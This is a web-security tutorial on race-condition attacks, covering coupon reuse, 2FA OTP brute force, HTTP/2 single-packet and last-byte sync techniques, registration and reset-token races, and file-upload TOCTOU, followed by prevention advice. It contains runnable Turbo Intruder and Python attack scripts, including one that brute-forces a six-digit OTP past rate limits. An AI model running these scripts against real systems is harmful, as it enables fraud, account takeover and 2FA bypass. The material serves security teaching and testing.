1. The Race Window — Check-Then-Act and Why Timing Is Hard
A race condition vulnerability exists when an application performs a check (is this coupon valid? does the user have enough balance? has this token been used?) and then an action (apply the discount, transfer the funds, redeem the token) as two separate, non-atomic operations. Between these two operations lies the race window — a period during which a second concurrent request can pass the same check before the first request's action updates the state.
Why Hitting the Race Window Is Hard Manually
Race windows are often microseconds to single-digit milliseconds wide. Network latency between the attacker and the server typically ranges from 10ms to 200ms — orders of magnitude larger than the race window. The challenge is not sending fast requests, but sending requests that arrive at the server at exactly the same moment.
| Approach | Typical Arrival Spread | Exploits Race Window? |
|---|---|---|
| Manual browser clicks | 100ms – 1s | Rarely |
| Burp Intruder (separate TCP) | 10ms – 100ms | Occasionally for wide windows |
| Last-byte sync (HTTP/1.1) | 1ms – 10ms | Often for medium windows |
| Single-packet attack (HTTP/2) | Sub-millisecond | Consistently for tight windows |
2. Limit Overrun: Coupon and Discount Reuse
A classic race condition that yields real financial impact. The application checks whether a coupon has been used, then marks it as used after applying the discount. Sending 20 requests simultaneously allows all 20 to pass the "has this been used?" check before any of them completes the "mark as used" update.
Vulnerable Application Logic
-- Vulnerable pseudo-code (any language)
function applyCoupon(userId, couponCode):
coupon = db.query("SELECT * FROM coupons WHERE code = ? AND used = 0", couponCode)
if coupon == null:
return "Invalid or already used coupon"
// RACE WINDOW STARTS HERE
db.query("UPDATE orders SET discount = ? WHERE user_id = ?", coupon.value, userId)
db.query("UPDATE coupons SET used = 1 WHERE code = ?", couponCode)
// RACE WINDOW ENDS HERE
return "Coupon applied"
Exploitation with Burp Repeater (HTTP/2 Single-Packet)
- Capture the coupon application request in Burp.
- Right-click the request and select "Send to Repeater" 20 times.
- In each Repeater tab, ensure HTTP/2 is selected (right-click tab bar, "Change request method" is not needed — just confirm the protocol).
- Select all tabs, right-click, choose "Send group in parallel (single-packet attack)".
- Observe responses — multiple "200 OK — coupon applied" responses confirm the race.
-- All 20 requests sent in a single HTTP/2 frame burst
POST /checkout/apply-coupon HTTP/2
Host: shop.target.example.com
Cookie: session=masaaki-session-token
coupon_code=SAVE20&order_id=9842
-- Response 1: 200 OK — "Discount of 20% applied"
-- Response 2: 200 OK — "Discount of 20% applied" (race won)
-- Response 3: 200 OK — "Discount of 20% applied" (race won)
-- Response 4+: 400 — "Coupon already used" (race lost)
3. Limit Overrun: 2FA OTP Brute Force
Many applications rate-limit 2FA OTP verification attempts to prevent brute force. Sending multiple OTP guesses simultaneously in a race exploits the check-then-increment pattern in the rate limiter: all requests are evaluated before the counter is incremented, effectively bypassing the per-request limit.
-- Rate limiter vulnerable pattern
function verify2FA(userId, otp):
attempts = db.getAttempts(userId)
if attempts >= 5:
return "Rate limited"
// RACE WINDOW: all concurrent requests read 'attempts' before any increments it
db.incrementAttempts(userId)
if otp == db.getOTP(userId):
return "Success"
return "Invalid OTP"
-- Turbo Intruder script to brute-force 6-digit OTP with race
-- Send 10 guesses simultaneously per burst, repeat until correct
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=100,
pipeline=False)
for otp in range(000000, 1000000):
engine.queue(target.req, str(otp).zfill(6), gate='race1')
if otp % 10 == 9:
engine.openGate('race1')
engine.openGate('race1') # flush gate
def handleResponse(req, interesting):
if 'Success' in req.response or '200' in req.status:
table.add(req)
4. Single-Packet Attack (HTTP/2)
HTTP/2 multiplexes multiple streams over a single TCP connection. The single-packet attack (introduced by James Kettle at PortSwigger) exploits this by sending multiple HTTP/2 requests inside a single TCP frame — the kernel delivers them to the server in one system call, making their arrival effectively simultaneous at the server socket layer.
Why HTTP/2 Enables This
In HTTP/1.1, each request requires its own TCP connection or must be pipelined (which most servers process sequentially anyway). In HTTP/2, the client sends HEADERS + DATA frames for each request in the same TCP segment. The server's TCP stack delivers all frames at once to the application, eliminating network jitter as a factor.
-- HTTP/2 frame structure for single-packet attack
-- Client sends in ONE TCP segment:
[HEADERS frame: request 1] [DATA frame: body 1]
[HEADERS frame: request 2] [DATA frame: body 2]
[HEADERS frame: request 3] [DATA frame: body 3]
...
[HEADERS frame: request 20] [DATA frame: body 20]
-- Server receives all 20 requests atomically at the OS socket layer
-- Network latency is no longer a factor — race window is purely server-side
Burp Suite Configuration for Single-Packet Attack
- Capture the target request. Ensure the target server supports HTTP/2 (check in Proxy > HTTP history — Protocol column shows "HTTP/2").
- Send to Repeater 20 times.
- In the Repeater group tab, click the dropdown next to the Send button and select "Send group in parallel (single-packet attack)".
- Burp will hold all requests, send the last byte of each simultaneously in one TCP segment.
- Review all responses in the group view.
5. Last-Byte Synchronisation (HTTP/1.1 — Turbo Intruder)
When the target only supports HTTP/1.1, achieving simultaneous request arrival requires a different technique. Last-byte synchronisation sends almost-complete requests, buffering the final byte of each. When all requests are ready, the final bytes are flushed together — minimising the spread to a few milliseconds.
Turbo Intruder Implementation
# Turbo Intruder script — last-byte sync for HTTP/1.1
# Install: Burp BApp Store → Turbo Intruder
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=1,
pipeline=False)
# Queue 30 identical requests — all will be held at last byte
for i in range(30):
engine.queue(target.req, gate='race1')
# Open the gate: flush all last bytes simultaneously
engine.openGate('race1')
def handleResponse(req, interesting):
table.add(req)
The gate mechanism works as follows: Turbo Intruder sends each request over its own connection, leaving the last byte unsent. When openGate is called, all buffered last bytes are flushed in rapid succession. The TCP stack's Nagle algorithm and TCP_NODELAY settings affect the actual spread — configure your OS and Turbo Intruder's socket settings for best results.
# More aggressive: pre-connect and pipeline
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=50,
requestsPerConnection=1,
pipeline=False,
maxQueueSize=100)
# Warm up connections — force TCP handshake before the attack
for i in range(50):
engine.queue(target.req, gate='warm')
engine.openGate('warm')
engine.complete(timeout=5)
# Now queue the real attack
for i in range(50):
engine.queue(target.req, gate='race1')
engine.openGate('race1')
def handleResponse(req, interesting):
if '200' in req.status:
table.add(req)
6. Partial Construction Race — Account Creation Window
Partial construction races exploit the window between when an object is created and when its properties are fully initialised. In multi-step registration flows, there is often a moment when the account exists in the database but its role, permissions, or verification status have not yet been set.
Attack Scenario: Registration to Role Assignment Gap
-- Vulnerable registration flow (pseudo-code)
function register(username, password, email):
userId = db.insert("INSERT INTO users(username,password,email) VALUES(?,?,?)",
username, password, email)
// RACE WINDOW: user exists but has no role yet
sendVerificationEmail(email, userId) // takes ~100ms
db.insert("INSERT INTO user_roles(user_id, role) VALUES(?,?)",
userId, "standard_user")
// RACE WINDOW ENDS
return userId
-- Attack: register an account, immediately attempt to access admin routes
-- during the window where user_roles has no entry yet
-- If the role check does: SELECT role FROM user_roles WHERE user_id = ?
-- and returns NULL when no row exists, then checks: if (role == 'admin')
-- A NULL role may not match any access control restriction, granting
-- unauthenticated-level or elevated access during the window
-- Turbo Intruder: send registration + immediate admin action simultaneously
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=10,
requestsPerConnection=1)
# Registration request
regReq = '''POST /register HTTP/1.1\r\nHost: target.example.com\r\n
Content-Length: 45\r\n\r\nusername=masaaki2&password=test&[email protected]'''
# Admin access probe — queued to fire simultaneously
for i in range(20):
engine.queue(target.req, gate='race1') # admin check request
engine.openGate('race1')
Email Verification Token Race
-- Pattern: user is active immediately after registration
-- but email is marked unverified
-- Application sends verification link and logs creation time
-- Attack: If token is generated from timestamp + userId (predictable),
-- generate the token locally and verify before the email arrives:
import hashlib, time
user_id = 10042
timestamp = int(time.time()) # must match server's timestamp
token = hashlib.md5(f"{user_id}{timestamp}secret".encode()).hexdigest()
# Request: GET /verify?token=[token]
7. Time-of-Check to Time-of-Use (TOCTOU)
TOCTOU is a specific form of race condition where a file's existence, permissions, or content is checked, but by the time the subsequent use (read, execute, write) occurs, the file has been replaced or modified. Classic in file upload handlers and temporary file processing.
File Upload TOCTOU
-- Vulnerable file upload handler
function processUpload(file):
uploadPath = "/tmp/uploads/" + file.name
file.save(uploadPath)
// CHECK: scan the file for malicious content
if isMalicious(uploadPath):
os.remove(uploadPath)
return "Rejected: malicious file"
// RACE WINDOW: file passed scan, now being moved
finalPath = "/var/www/uploads/" + file.name
shutil.move(uploadPath, finalPath)
// RACE WINDOW ENDS
return "Upload successful: " + finalPath
Attack: upload a benign file. Simultaneously (using Turbo Intruder or a parallel script), monitor the temp path and replace the file with a malicious payload between the scan and the move:
-- Python race exploit for TOCTOU file upload
import threading, requests, time
def upload_benign():
# Upload a legitimate PNG file
files = {'file': ('image.php', open('benign.png','rb'), 'image/png')}
requests.post('https://target.example.com/upload', files=files,
cookies={'session': 'masaaki-session'})
def replace_file():
# Attempt to overwrite the temp file before it passes scan
while True:
try:
with open('/tmp/uploads/image.php', 'w') as f:
f.write('')
except:
pass
# Fire both threads simultaneously
t1 = threading.Thread(target=upload_benign)
t2 = threading.Thread(target=replace_file)
t1.start(); t2.start()
t1.join(); t2.join()
8. Database-Level Races — Concurrent Transactions
Even with application-level locking, the underlying database transaction isolation level determines whether concurrent operations can interleave. Read Committed isolation (the default in PostgreSQL and MySQL) allows multiple transactions to read the same uncommitted-free state simultaneously — making check-then-act patterns unsafe without explicit row locking.
Wallet / Balance Race Condition
-- Vulnerable transfer logic (no row-level lock)
BEGIN;
SELECT balance FROM wallets WHERE user_id = 1; -- reads 100
-- Concurrent transaction also reads 100 here
UPDATE wallets SET balance = 100 - 80 WHERE user_id = 1; -- sets to 20
COMMIT;
-- Second concurrent transaction
BEGIN;
SELECT balance FROM wallets WHERE user_id = 1; -- also reads 100 (before first commits)
UPDATE wallets SET balance = 100 - 80 WHERE user_id = 1; -- also sets to 20
COMMIT;
-- Result: two 80-unit withdrawals from a 100-unit balance
-- Balance should be -60 but may show 20 depending on commit order
-- FIX: Use SELECT ... FOR UPDATE to acquire a row-level lock
BEGIN;
SELECT balance FROM wallets WHERE user_id = 1 FOR UPDATE;
UPDATE wallets SET balance = balance - 80 WHERE user_id = 1;
COMMIT;
Inventory Over-Allocation Race
-- Last item in stock — both users attempt purchase simultaneously
-- Both read: quantity = 1
-- Both check: if quantity > 0 then proceed
-- Both decrement: UPDATE inventory SET quantity = quantity - 1
-- Result: quantity = -1 (both orders fulfilled, item oversold)
-- Detection: attempt to purchase the last item with 10 parallel requests
-- Success: more than one 200 OK "Order Placed" response
9. Session Token Race — Multiple Valid Reset Tokens
Password reset flows that generate a token and store it to the database are vulnerable when multiple simultaneous reset requests can each generate a unique valid token — overwriting each other or existing side-by-side depending on the schema. The attacker requests a reset simultaneously with the victim, receives their own token, and depending on the implementation, may be able to use either token.
-- Vulnerable reset token generation (pseudo-code)
function requestPasswordReset(email):
token = generateSecureRandomToken() # unique each call
db.query("UPDATE users SET reset_token = ? WHERE email = ?", token, email)
sendEmail(email, token)
return "Reset email sent"
-- Race: two simultaneous requests for [email protected]
-- Request 1 generates token A and sends to email
-- Request 2 generates token B and overwrites token A in DB
-- Token A is emailed to the legitimate user but is no longer valid
-- Token B (held by attacker) is the only valid token
-- Attack workflow
-- 1. Attacker sends 20 parallel reset requests for victim's email
-- 2. Attacker monitors their own email (if they can control the target's email
-- via a secondary race or via email enumeration into their own account)
-- 3. Alternatively: if reset tokens are sequential or predictable,
-- knowing their own reset token allows deriving nearby tokens
-- Turbo Intruder: 20 simultaneous reset requests
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=100,
pipeline=True)
for i in range(20):
engine.queue(target.req, gate='race1')
engine.openGate('race1')
10. Detection with Turbo Intruder — Real Scripts
Turbo Intruder is a Burp Suite extension written in Python that provides fine-grained control over HTTP request timing, connection pooling, and gating. It is the primary tool for exploiting races against HTTP/1.1 targets and for scripting complex race attack logic.
Script 1: Basic Limit Overrun Detection
# Paste into Turbo Intruder after capturing the coupon application request
# Replace %s with the placeholder in your request
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=100,
pipeline=False)
# Send 25 identical requests through a single gate
for i in range(25):
engine.queue(target.req, 'SAVE20', gate='race1')
engine.openGate('race1')
def handleResponse(req, interesting):
# Flag any 200 responses as interesting (expect only 1, race gives more)
if req.status == 200 and 'applied' in req.response.lower():
table.add(req)
Script 2: Multi-Endpoint Race (Registration + Privilege Check)
# Exploit partial construction: register and simultaneously access admin endpoint
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=10,
requestsPerConnection=1)
# Registration request template (request 1)
regRequest = '''POST /register HTTP/1.1\r\n\
Host: target.example.com\r\n\
Content-Type: application/x-www-form-urlencoded\r\n\
Content-Length: 55\r\n\r\n\
username=testuser99&password=P@ssw0rd!&[email protected]'''
# Probe request — check admin access with new session (request 2..N)
# target.req is the admin endpoint captured from Burp
engine.queue(regRequest, gate='race1')
for i in range(20):
engine.queue(target.req, gate='race1')
engine.openGate('race1')
def handleResponse(req, interesting):
if '200' in req.status and 'admin' in req.response.lower():
table.add(req)
Script 3: Benchmarking the Race Window
# Measure baseline and with-race response times to quantify the race window
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=20,
pipeline=True)
# Baseline: sequential requests (no gate)
for i in range(5):
engine.queue(target.req, 'baseline')
# Gated attack: simultaneous requests
for i in range(20):
engine.queue(target.req, 'attack', gate='race1')
engine.openGate('race1')
def handleResponse(req, interesting):
# Log all response times — compare baseline vs race timing
table.add(req)
# Look for: same timestamps in 'time' column = successful synchronisation
11. Prevention
Atomic Database Operations
Replace check-then-act with a single atomic UPDATE that includes the condition: UPDATE coupons SET used=1 WHERE code=? AND used=0. Check the affected row count — if 0 rows updated, the coupon was already used. No race window exists.
Database Row-Level Locking
Use SELECT ... FOR UPDATE or SELECT ... FOR SHARE within a transaction to lock the row before checking it. All concurrent transactions block on the lock until the first one commits or rolls back.
Idempotent Operations
Design operations so that executing them multiple times has the same effect as executing once. Use unique constraints in the database: a UNIQUE (user_id, coupon_code) constraint causes duplicate insertions to fail with a constraint error rather than succeeding silently.
Redis-Based Distributed Locks
Use Redis SET key value NX PX timeout (set if not exists with expiry) as a distributed lock around critical sections. Only the request that successfully sets the key proceeds; all others receive a "lock held" error and are rejected.
Request Deduplication
For operations that should only execute once per user action, generate a unique idempotency key on the client side and store it server-side. Duplicate requests with the same key return the cached result without re-executing the operation.
Queue-Based Architecture
Move critical operations to a single-consumer queue. Coupon redemptions, balance transfers, and inventory updates enter a queue and are processed serially by a single worker. Parallelism is eliminated at the critical section entirely.